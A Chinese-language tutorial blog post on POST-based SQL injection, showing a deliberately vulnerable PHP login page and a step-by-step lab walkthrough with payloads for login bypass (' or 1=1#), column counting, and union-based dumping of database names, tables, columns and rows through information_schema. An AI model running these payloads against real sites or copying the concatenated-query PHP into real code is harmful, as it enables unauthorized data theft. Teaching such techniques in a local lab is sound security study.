草庐IT

SQL注入原理-POST注入

T1ngSh0w 2023-04-08 原文

        小伙伴们大家好!本期为大家带来的是SQL注入原理之POST注入。

目录

GET传参与POST传参

什么是POST注入?

实战演示

一、判断是否存在注入点

二、万能密码

三、判断查询字段个数

四、找出可以回显的字段

五、爆出数据库的数据

1、爆出数据库版本和当前数据库的用户

2、爆出所有的数据库名

3、爆出当前的数据库名

4、爆出数据库下的所有表名

5、爆出表下的所有字段名

6、爆出表中的数据


GET传参与POST传参

        GET传参就是我们平常的在访问一个网页地址的时候,网址的网站路径后面加的“?”后面的参数等于...。例如“http://www.xxx.com?id=1”,这里的?id中的id就是以GET传参方式传递的。即:GET方式传递的参数都会在URL中显示出来。GET方式传参如果传递的是用户名和密码的话,就显得数据在传输过程中保密性非常的差。这时候就出来了另一种参数提交方式——POST传参。

        既然GET传参容易泄露敏感信息,那么POST方式就是不容易泄露敏感信息,因为POST传递的参数的数据都在请求体中,只有通过使用抓包软件才能够获取我们POST方式提交的数据。一般POST的提交方式都会出现在账号登录,密码修改的功能当中,但也不限于这几种功能!        

什么是POST注入?

        所谓POST注入就是我们在前端提交数据的时候,前端使用的是POST方式提交的数据。说白了,跟GET注入没有什么本质上的区别,无非就是提交数据的方式改变了,而注入的技巧思路都是一样的。

实战演示

源码:

<?php

// 连接数据库
$coon = mysqli_connect("127.0.0.1", "root", "root", "test", 3306);
header('Content-type:text/html;charset=utf-8');
error_reporting(0);

echo "<center><br/>";
echo "<form method='post' action='sql12.php' style='padding-top: 100px'>";
echo "<label>账号:&nbsp;&nbsp;</label>";
echo "<input type='text' name='username'/><br/>";
echo "<label>密码:&nbsp;&nbsp;</label>";
echo "<input type='password' name='password' /><br/><br/>";
echo "<input type='submit' value='登录'>&nbsp;&nbsp;&nbsp;";
echo "<input type='reset' value='重置'>";
echo "</center>";

if (isset($_POST['username']) && isset($_POST['password'])) {
    // 接受传来的参数id
    $username= @$_POST['username'];
    $password = @$_POST['password'];
    // 执行的SQL语句
    $sql = "select username,password from users where username='$username' and password='$password'";
    $res = mysqli_query($coon, $sql);
    $row = mysqli_fetch_array($res);
    if ($row) {

        echo "<center><br/>";
        echo "<h1>Your username is : ".$row['username']."</h1><br/>";
        echo "<h1>Your password is : ".$row['password']."</h1><br/>";
        echo "</center>";
    } else {
        echo "<center></br>";
        echo "<h1>Your username or password is error!</h1>";
        print_r(mysqli_error($coon));
        echo "</center>";
    }
}

一、判断是否存在注入点

首先我们还是先判断该站点是否存在注入点,我们先正常的输入账号密码(这里的账号密码可以随便输入)登录看一下页面的响应。

我们随便输入了一个账号密码,直接提示我们账号或密码错误,并且观察URL并没有携带参数值,所以我们就知道了这个登录的页面采用的是POST传参。 

我们联想到一般的登录都是检查我们输入的账号密码与后台数据库存储的账号密码相对比,看是否数据库是否存在我们输入的账号密码,而一般后台都是将我们输入的账号密码作为条件然后去数据库查找,因为我们的账号密码都是字符串,数据库查询的时候必定将我们输入的账号密码用单引号或者双引号包裹起来,所以我们在输入账号的时候,在后面加上一个单引号或者双引号。

发现页面报错,根据报错结果可以看出来,我们输入的账号密码确实被单引号给包裹了起来。

既然已经知道是POST方式提交参数,我们先来抓一下包,看POST提交的请求体中的数据。 以方便我们使用hackbar来进行测试。

这里看到post提交的数据为“username=admin&password=admin”

这样我们可以拿着这个数据使用火狐插件hackbar来进行测试,这样更方便。

我们接下来构造and 1=2和and 1=1的条件看是否能够插入到后端SQL语句当中。

payload:“username=admin' and 1=2#&password=”

username=admin' and 1=2#&password=

可以看到and 1=1 时页面会显出了账号密码,and 1=2的时候爆出错误,说明我们构造的语句插入到了后端SQL语句,存在注入点。

二、万能密码

所谓万能密码呢,就是在登录框中输入一条简单的语句,即“' or 1=1#

从后端的SQL语句分析

select username,password from users where username='$username' and password='$password'

我们输入的万能密码即为$username,我们没有输入password,$password就为空。

这样我们输入的万能密码插入到后端SQL语句就变成了:

select username,password from users where username='' or 1=1#' and password=''

后面的and password=''就被我们输入的#给注释掉了。

数据库真正执行的SQL语句为:

select username,password from users where username='' or 1=1

由于我们输入的or 1=1是正确的,所以后端就会返回users表中所有的数据,由于前端只展示一条数据,所以我们看到的是账号为admin密码为admin的数据。

假如我们将万能密码后加入“limit 1,1”,看到的就不是admin的数据了,而是另外一条账号密码的数据。

limit num1,num2 的作用使用显示查询结果索引为num1后num2个数据。例如limit 0,1 就是取查询结果中索引为0位置后1个数据。   

三、判断查询字段个数

接下来,我们就是来判断后端在数据库查询时,总共查询了几个字段的数据。

我们通常使用order by 来判断后端进行数据库查询时所查询的字段数。

payload:“username=admin' order by 3#&password=”

username=admin' order by 3#&password=

order by是数据库查询的时候对结果进行的排序,如果后面写的是字段,则根据查询字段进行排序,但如果后面写的是数字,该数字大于所查询的字段数,则就会报错,小于的话就不会报错。 

通过页面回显知,order by 2 会显出数据,order by 3爆出错误,由此可以判断出后端查询字段个数位2个。

四、找出可以回显的字段

构造payload:“username=' union select 1,2#&password=”

username=' union select 1,2#&password=

从页面的回显结果可以看出来,后端查询的两个字段都能在前端页面得到回显。

五、爆出数据库的数据

1、爆出数据库版本和当前数据库的用户

构造payload:“username=' union select version(),user()#&password=”

username=' union select version(),user()#&password=

其中version()函数返回数据库版本信息,user()函数返回当前数据库用户的信息。 

2、爆出所有的数据库名

构造payload:“username=' union select group_concat(schema_name),2 from information_schema.schemata#&password=”

username=' union select group_concat(schema_name),2 from information_schema.schemata#&password=

因为前端只显示一条数据,而我们想要得到所有的结果就要使用group_concat()函数,group_concat() 可以将我们查询到的数据用“,”拼接起来。 

information_schema数据库是MySQL5.0之后自带的数据库,infomation_schema数据下的schemata表存储了所有数据库名,information_schema数据库下的tables表存储了所有的表名,information_schema数据库下的columns表存储了所有的字段名。

这样我们就得到了所有的数据库名。

3、爆出当前的数据库名

构造payload:“username=' union select database(),2#&password=”

username=' union select database(),2#&password=

其中database()函数返回当前的数据库名。 

这样我们就得到了当前的数据库名test。

4、爆出数据库下的所有表名

构造payload:“username=' union select group_concat(table_name),2 from information_schema.tables where table_schema='study'#&password=”

username=' union select group_concat(table_name),2 from information_schema.tables where table_schema='study'#&password=

这样我们就得到了study数据库下的所有表——student表和teacher表。

5、爆出表下的所有字段名

构造payload:“username=' union select group_concat(column_name),2 from information_schema.columns where table_schema='study' and table_name='student'#&password=”

username=' union select group_concat(column_name),2 from information_schema.columns where table_schema='study' and table_name='student'#&password=

这样我们就得到了study数据库下student表的所有字段,分别为id,name,age。

6、爆出表中的数据

构造payload:“username=' union select group_concat(name),group_concat(age) from study.student#&password=”

username=' union select group_concat(name),group_concat(age) from study.student#&password=

这样我们就得到了study数据库下student表中的数据。

剩下的注入就交给小伙伴们了!

当然有的网站不会将查询到的数据在前端页面展示,这样我们就很难直观的得到数据了,这时我们就可以尝试使用报错盲注布尔盲注以及时间盲注来爆出数据。

有关SQL注入原理-POST注入的更多相关文章

  1. ruby - 如何模拟 Net::HTTP::Post? - 2

    是的,我知道最好使用webmock,但我想知道如何在RSpec中模拟此方法:defmethod_to_testurl=URI.parseurireq=Net::HTTP::Post.newurl.pathres=Net::HTTP.start(url.host,url.port)do|http|http.requestreq,foo:1endresend这是RSpec:let(:uri){'http://example.com'}specify'HTTPcall'dohttp=mock:httpNet::HTTP.stub!(:start).and_yieldhttphttp.shou

  2. ruby-on-rails - rails : How to make a form post to another controller action - 2

    我知道您通常应该在Rails中使用新建/创建和编辑/更新之间的链接,但我有一个情况需要其他东西。无论如何我可以实现同样的连接吗?我有一个模型表单,我希望它发布数据(类似于新View如何发布到创建操作)。这是我的表格prohibitedthisjobfrombeingsaved: 最佳答案 使用:url选项。=form_for@job,:url=>company_path,:html=>{:method=>:post/:put} 关于ruby-on-rails-rails:Howtomak

  3. ruby - 有人可以帮助解释类创建的 post_initialize 回调吗 (Sandi Metz) - 2

    我正在阅读SandiMetz的POODR,并且遇到了一个我不太了解的编码原则。这是代码:classBicycleattr_reader:size,:chain,:tire_sizedefinitialize(args={})@size=args[:size]||1@chain=args[:chain]||2@tire_size=args[:tire_size]||3post_initialize(args)endendclassMountainBike此代码将为其各自的属性输出1,2,3,4,5。我不明白的是查找方法。当一辆山地自行车被实例化时,因为它没有自己的initialize方法

  4. jquery - 我的 jquery AJAX POST 请求无需发送 Authenticity Token (Rails) - 2

    rails中是否有任何规定允许站点的所有AJAXPOST请求在没有authenticity_token的情况下通过?我有一个调用Controller方法的JqueryPOSTajax调用,但我没有在其中放置任何真实性代码,但调用成功。我的ApplicationController确实有'request_forgery_protection'并且我已经改变了config.action_controller.consider_all_requests_local在我的environments/development.rb中为false我还搜索了我的代码以确保我没有重载ajaxSend来发送

  5. ruby - 我如何添加二进制数据来遏制 POST - 2

    我正在尝试使用Curbgem执行以下POST以解析云curl-XPOST\-H"X-Parse-Application-Id:PARSE_APP_ID"\-H"X-Parse-REST-API-Key:PARSE_API_KEY"\-H"Content-Type:image/jpeg"\--data-binary'@myPicture.jpg'\https://api.parse.com/1/files/pic.jpg用这个:curl=Curl::Easy.new("https://api.parse.com/1/files/lion.jpg")curl.multipart_form_

  6. Hive SQL 五大经典面试题 - 2

    目录第1题连续问题分析:解法:第2题分组问题分析:解法:第3题间隔连续问题分析:解法:第4题打折日期交叉问题分析:解法:第5题同时在线问题分析:解法:第1题连续问题如下数据为蚂蚁森林中用户领取的减少碳排放量iddtlowcarbon10012021-12-1212310022021-12-124510012021-12-134310012021-12-134510012021-12-132310022021-12-144510012021-12-1423010022021-12-154510012021-12-1523.......找出连续3天及以上减少碳排放量在100以上的用户分析:遇到这类

  7. sql - 查询忽略时间戳日期的时间范围 - 2

    我正在尝试查询我的Rails数据库(Postgres)中的购买表,我想查询时间范围。例如,我想知道在所有日期的下午2点到3点之间进行了多少次购买。此表中有一个created_at列,但我不知道如何在不搜索特定日期的情况下完成此操作。我试过:Purchases.where("created_atBETWEEN?and?",Time.now-1.hour,Time.now)但这最终只会搜索今天与那些时间的日期。 最佳答案 您需要使用PostgreSQL'sdate_part/extractfunction从created_at中提取小时

  8. ruby - 这个 ruby​​ 注入(inject)魔术是如何工作的? - 2

    我今天看到了一个ruby​​代码片段。[1,2,3,4,5,6,7].inject(:+)=>28[1,2,3,4,5,6,7].inject(:*)=>5040这里的注入(inject)和之前看到的完全不一样,比如[1,2,3,4,5,6,7].inject{|sum,x|sum+x}请解释一下它是如何工作的? 最佳答案 没有魔法,符号(方法)只是可能的参数之一。这是来自文档:#enum.inject(initial,sym)=>obj#enum.inject(sym)=>obj#enum.inject(initial){|mem

  9. sql - 在 Rails Console for PostgreSQL 的表中显示数据 - 2

    我找到了这样的东西:Rails:Howtolistdatabasetables/objectsusingtheRailsconsole?这一行没问题:ActiveRecord::Base.connection.tables并返回所有表但是ActiveRecord::Base.connection.table_structure("users")产生错误:ActiveRecord::Base.connection.table_structure("projects")我认为table_structure不是Postgres方法。如何列出Postgres数据库的Rails控制台中表中的所有

  10. ruby - 防止SQL注入(inject)/好的Ruby方法 - 2

    Ruby中防止SQL注入(inject)的好方法是什么? 最佳答案 直接使用ruby?使用准备好的语句:require'mysql'db=Mysql.new('localhost','user','password','database')statement=db.prepare"SELECT*FROMtableWHEREfield=?"statement.execute'value'statement.fetchstatement.close 关于ruby-防止SQL注入(inject

随机推荐